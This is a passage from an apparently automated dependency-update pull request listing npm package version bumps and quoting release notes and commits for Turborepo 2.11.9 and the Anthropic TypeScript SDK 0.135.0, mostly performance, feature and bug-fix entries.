[@posthog/types](https://github.com/PostHog/posthog-js/tree/HEAD/packages/types) | `1.411.1` | `1.416.0` |\n| [@smithy/core](https://github.com/smithy-lang/smithy-typescript/tree/HEAD/packages/core) | `3.35.2` | `3.36.2` |\n| [@turbo/darwin-64](https://github.com/vercel/turborepo) | `2.10.8` | `2.11.9` |\n| [@turbo/darwin-arm64](https://github.com/vercel/turborepo) | `2.10.8` | `2.11.9` |\n| [@turbo/linux-64](https://github.com/vercel/turborepo) | `2.10.8` | `2.11.9` |\n| [@turbo/linux-arm64](https://github.com/vercel/turborepo) | `2.10.8` | `2.11.9` |\n| [@turbo/windows-64](https://github.com/vercel/turborepo) | `2.10.8` | `2.11.9` |\n| [@turbo/windows-arm64](https://github.com/vercel/turborepo) | `2.10.8` | `2.11.9` |\n| [@vitest/expect](https://github.com/vitest-dev/vitest/tree/HEAD/packages/expect) | `4.1.10` | `4.1.12` |\n| [@vitest/pretty-format](https://github.com/vitest-dev/vitest/tree/HEAD/packages/pretty-format) | `4.1.10` | `4.1.12` |\n| [@vitest/runner](https://github.com/vitest-dev/vitest/tree/HEAD/packages/runner) | `4.1.10` | `4.1.12` |\n| [@vitest/snapshot](https://github.com/vitest-dev/vitest/tree/HEAD/packages/snapshot) | `4.1.10` | `4.1.12` |\n| [@vitest/spy](https://github.com/vitest-dev/vitest/tree/HEAD/packages/spy) | `4.1.10` | `4.1.12` |\n| [@vitest/utils](https://github.com/vitest-dev/vitest/tree/HEAD/packages/utils) | `4.1.10` | `4.1.12` |\n| [asn1js](https://github.com/PeculiarVentures/ASN1.js) | `3.0.10` | `3.1.0` |\n| [baseline-browser-mapping](https://github.com/web-platform-dx/baseline-browser-mapping) | `2.11.27` | `2.11.31` |\n| [better-call](https://github.com/better-auth/better-call/tree/HEAD/packages/better-call) | `1.3.7` | `1.4.4` |\n| [browserslist](https://github.com/browserslist/browserslist) | `4.29.3` | `4.29.4` |\n| [caniuse-lite](https://github.com/browserslist/caniuse-lite) | `1.0.30001814` | `1.0.30001819` |\n| [chai](https://github.com/chaijs/chai) | `6.2.2` | `6.3.0` |\n| [core-js](https://github.com/zloirock/core-js/tree/HEAD/packages/core-js) | `3.50.0` | `3.51.0` |\n| [electron-to-chromium](https://github.com/Kilian/electron-to-chromium) | `1.5.445` | `1.5.463` |\n| [enhanced-resolve](https://github.com/webpack/enhanced-resolve) | `5.24.5` | `5.26.0` |\n| [es-module-lexer](https://github.com/guybedford/es-module-lexer) | `2.3.1` | `2.3.2` |\n| [framer-motion](https://github.com/motiondivision/motion) | `13.0.0` | `13.5.1` |\n| [get-tsconfig](https://github.com/privatenumber/get-tsconfig) | `4.14.1` | `4.14.3` |\n| [ip-address](https://github.com/beaugunderson/ip-address) | `10.4.0` | `10.7.4` |\n| [jose](https://github.com/panva/jose) | `6.2.8` | `6.2.13` |\n| [kysely](https://github.com/kysely-org/kysely) | `0.29.4` | `0.29.7` |\n| [livekit-client](https://github.com/livekit/client-sdk-js) | `2.22.3` | `2.23.0` |\n| [motion-dom](https://github.com/motiondivision/motion) | `13.0.0` | `13.5.1` |\n| [motion-utils](https://github.com/motiondivision/motion) | `13.0.0` | `13.5.0` |\n| [nanostores](https://github.com/nanostores/nanostores) | `1.4.2` | `1.5.5` |\n| [napi-postinstall](https://github.com/un-ts/napi-postinstall) | `0.3.4` | `0.3.7` |\n| [node-releases](https://github.com/chicoxyzzy/node-releases) | `2.0.57` | `2.0.60` |\n| [obug](https://github.com/sxzz/obug) | `2.1.4` | `2.2.1` |\n| [pg-cloudflare](https://github.com/brianc/node-postgres/tree/HEAD/packages/pg-cloudflare) | `1.4.0` | `1.4.1` |\n| [pg-connection-string](https://github.com/brianc/node-postgres/tree/HEAD/packages/pg-connection-string) | `2.14.0` | `2.14.1` |\n| [pg-protocol](https://github.com/brianc/node-postgres/tree/HEAD/packages/pg-protocol) | `1.15.0` | `1.16.1` |\n| [postal-mime](https://github.com/postalsys/postal-mime) | `2.7.5` | `2.7.6` |\n| [rou3](https://github.com/h3js/rou3) | `0.7.12` | `0.9.2` |\n| [scheduler](https://github.com/react/react/tree/HEAD/packages/scheduler) | `0.27.0` | `0.28.0` |\n| [set-cookie-parser](https://github.com/nfriedly/set-cookie-parser) | `3.1.2` | `3.2.1` |\n| [socks](https://github.com/JoshGlazebrook/socks) | `2.8.9` | `2.8.10` |\n| [standardwebhooks](https://github.com/standard-webhooks/standard-webhooks) | `1.0.0` | `1.1.1` |\n| [std-env](https://github.com/unjs/std-env) | `4.2.0` | `4.3.0` |\n| [tinyexec](https://github.com/tinylibs/tinyexec) | `1.3.0` | `1.3.1` |\n| [tinyrainbow](https://github.com/tinylibs/tinyrainbow) | `3.1.1` | `3.2.0` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.71.1` | `8.72.0` |\n| [update-browserslist-db](https://github.com/browserslist/update-db) | `1.3.3` | `1.3.4` |\n| [@vitest/mocker](https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker) | `4.1.10` | `4.1.12` |\n| [web-vitals](https://github.com/GoogleChrome/web-vitals) | `6.2.1` | `6.2.3` |\n| [zod](https://github.com/colinhacks/zod) | `4.4.3` | `4.6.7` |\n\n\nUpdates `turbo` from 2.10.8 to 2.11.9\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/turborepo/releases\"\u003eturbo's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eTurborepo v2.11.9\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eChangelog\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: Release Turborepo 2.11.8 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14789\"\u003evercel/turborepo#14789\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Prefetch Cargo metadata during lazy graph construction by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14497\"\u003evercel/turborepo#14497\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Compute Berry lockfile closures once across workspaces by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14499\"\u003evercel/turborepo#14499\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Check cache hit outputs in place instead of on the blocking pool by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14524\"\u003evercel/turborepo#14524\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Speed up Berry lockfile loading by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14500\"\u003evercel/turborepo#14500\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Parse bun.lock without building a JSON syntax tree by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14502\"\u003evercel/turborepo#14502\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Skip the dry run cache batch window when there is no remote cache by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14505\"\u003evercel/turborepo#14505\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Emit lockfile closures pre-sorted and cheapen closure interning by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14525\"\u003evercel/turborepo#14525\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Reuse configuration derived from turbo.json between the shim and the CLI by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14521\"\u003evercel/turborepo#14521\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Report locked tools-only setup plans by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14483\"\u003evercel/turborepo#14483\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Compute Bun lockfile closures once across workspaces by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14501\"\u003evercel/turborepo#14501\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Reuse open parent directories when restoring cache archives by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14506\"\u003evercel/turborepo#14506\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Skip dropping the run right before turbo run exits by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14507\"\u003evercel/turborepo#14507\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Match literal input exclusions without compiling globs by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14510\"\u003evercel/turborepo#14510\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Copy pruned package files in parallel by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14512\"\u003evercel/turborepo#14512\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Report proposed first-lock and refresh setup plans by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14571\"\u003evercel/turborepo#14571\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Compress large cache archives with multithreaded zstd by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14698\"\u003evercel/turborepo#14698\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Read tracked file stats from directory listings on Windows by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14633\"\u003evercel/turborepo#14633\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Diff changed lockfile resolutions with a merge instead of ordered sets by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14630\"\u003evercel/turborepo#14630\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Write dry run text output through one buffered stdout handle by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14625\"\u003evercel/turborepo#14625\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Parse pnpm-workspace.yaml once per command by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14620\"\u003evercel/turborepo#14620\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Write each file trace error to stderr in a single call by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14618\"\u003evercel/turborepo#14618\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Reuse glob validation results when re-validating turbo.json in the language server by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14615\"\u003evercel/turborepo#14615\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Keep git subprocesses off the critical path of dry runs by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14610\"\u003evercel/turborepo#14610\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Classify watch file changes when they arrive instead of on a 100ms poll by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14600\"\u003evercel/turborepo#14600\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Buffer TUI raw-output spool writes by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14597\"\u003evercel/turborepo#14597\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Add the turbo query version key without re-parsing the response by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14592\"\u003evercel/turborepo#14592\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Replay cached task logs in whole-line chunks by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14590\"\u003evercel/turborepo#14590\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Write each boundaries diagnostic to stderr in a single call by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14587\"\u003evercel/turborepo#14587\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Walk leading-globstar input trees in parallel without wax by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14511\"\u003evercel/turborepo#14511\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Reuse open parent directories when writing cache archives by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14513\"\u003evercel/turborepo#14513\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Index Bun lockfile subgraph lookups instead of rescanning all packages by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14514\"\u003evercel/turborepo#14514\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Render the pruned lockfile while package files are copied by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14515\"\u003evercel/turborepo#14515\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Resolve exact native npm lock cohorts by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14484\"\u003evercel/turborepo#14484\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Batch prefixed task output into one write per chunk by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14588\"\u003evercel/turborepo#14588\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Share one allocation per external package identity by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14528\"\u003evercel/turborepo#14528\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Remove quadratic package-name scan from microfrontends discovery by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14527\"\u003evercel/turborepo#14527\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Render file trace errors on several threads by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14623\"\u003evercel/turborepo#14623\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Check boundaries packages in parallel again by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14598\"\u003evercel/turborepo#14598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Read PTY child output in 8 KiB chunks by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14594\"\u003evercel/turborepo#14594\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Load each package's tsconfig once when checking boundaries by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14589\"\u003evercel/turborepo#14589\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Skip the file watcher round trip when checking outputs for new task hashes by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14626\"\u003evercel/turborepo#14626\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Refresh only memory stats in \u003ccode\u003eturbo info\u003c/code\u003e by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14593\"\u003evercel/turborepo#14593\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: Walk and record prune copy plans in parallel by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14522\"\u003evercel/turborepo#14522\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Reconcile sealed clone-local setup selections by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/14485\"\u003evercel/turborepo#14485\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/64d5e4804a02f97d4e0c2910e9164a67605201df\"\u003e\u003ccode\u003e64d5e48\u003c/code\u003e\u003c/a\u003e publish 2.11.9 to registry\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/78b039e3affea8a977af17931b7361ab4da3bb00\"\u003e\u003ccode\u003e78b039e\u003c/code\u003e\u003c/a\u003e fix(cache): Parallelize dry-run HEAD fallback (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/14801\"\u003e#14801\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/6834819dd859af2e0d278b6b1ef0f81b3e984bb0\"\u003e\u003ccode\u003e6834819\u003c/code\u003e\u003c/a\u003e docs: Use .NET in the multi-language guide (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/14793\"\u003e#14793\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/679efb8ea421d1446538cb74f842c8677cb21922\"\u003e\u003ccode\u003e679efb8\u003c/code\u003e\u003c/a\u003e refactor: Remove setup lifecycle script controls (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/14818\"\u003e#14818\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/9c9085246b7b807eb06752ab25f9f772ffd19070\"\u003e\u003ccode\u003e9c90852\u003c/code\u003e\u003c/a\u003e fix: Allow native package manager configuration during setup (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/14816\"\u003e#14816\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/a3bcc4a0e578a8fc0518a2e32eb523f07f09b036\"\u003e\u003ccode\u003ea3bcc4a\u003c/code\u003e\u003c/a\u003e chore: Release Turborepo 2.11.9-canary.1 (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/14817\"\u003e#14817\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/9328416c56b6ce69d1a668e72334c62c6555c1db\"\u003e\u003ccode\u003e9328416\u003c/code\u003e\u003c/a\u003e fix: Stop installing the Unix shell hook automatically (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/14813\"\u003e#14813\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/74c9fbca766f3313a48dc7d989b57ba2aa0d4b53\"\u003e\u003ccode\u003e74c9fbc\u003c/code\u003e\u003c/a\u003e fix: Attribute Cargo.lock changes to the crates whose dependencies changed (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/a3ef52ae52d634da121e4a18d9f726dfb9c1bbf2\"\u003e\u003ccode\u003ea3ef52a\u003c/code\u003e\u003c/a\u003e chore: Update with-changesets example (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/14638\"\u003e#14638\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/f05411f0eaa1e56d97af590647b97aa872281dca\"\u003e\u003ccode\u003ef05411f\u003c/code\u003e\u003c/a\u003e perf: Skip newline normalization copies for already-normalized TUI output (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/1\"\u003e#1\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vercel/turborepo/compare/v2.10.8...v2.11.9\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@anthropic-ai/sdk` from 0.115.0 to 0.135.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/releases\"\u003e@​anthropic-ai/sdk's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003esdk-v0.135.0\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add between_tools to thinking types in model capabilities\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add the speed parameter and usage.speed to Messages\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e return a Console organization's usage-tier spend cap as a read-only spend limit\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e close streams dropped without being read to the end\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e keep an unread JSONL response open while it is held\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChores\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eci:\u003c/strong\u003e speed up breaking change detection\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edocs:\u003c/strong\u003e describe headers on Managed Agents and telemetry endpoints\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocumentation\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e note that some models need a beta header to use speed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003esdk-v0.134.0\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add execution_identity to Managed Agents agents\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add organization_type_not_supported error to spend limit lists\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add telemetry destination test endpoint\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add telemetry destinations to the Admin API\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eclient:\u003c/strong\u003e add native support for OpenTelemetry tracing\u003c/p\u003e\n\u003cp\u003eIf your app registers a global tracer provider, the SDK will create spans with it after upgrading, and they'll be exported with the rest of your traces. Requests will also get trace context headers from the global propagator. To disable, pass \u003ccode\u003eopenTelemetry: false\u003c/code\u003e to the client or set \u003ccode\u003eANTHROPIC_OPEN_TELEMETRY=false\u003c/code\u003e. Learn more in the \u003ca href=\"https://platform.claude.com/docs/en/manage-claude/opentelemetry/sdk\"\u003edocumentation\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e rename telemetry destination test response model\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e close an unread stream that was dropped while tracing is on\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e don't follow redirects on token requests\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e treat proxy-authorization as a sensitive header\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003estreaming:\u003c/strong\u003e tolerate unknown event types in MessageStream and BetaMessageStream\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003estreaming:\u003c/strong\u003e stop throwing \u0026quot;Unexpected event order\u0026quot; for an event before message_start\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003estreaming:\u003c/strong\u003e yield events that arrive before message_start when iterating MessageStream and BetaMessageStream\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/blob/main/CHANGELOG.md\"\u003e@​anthropic-ai/sdk's 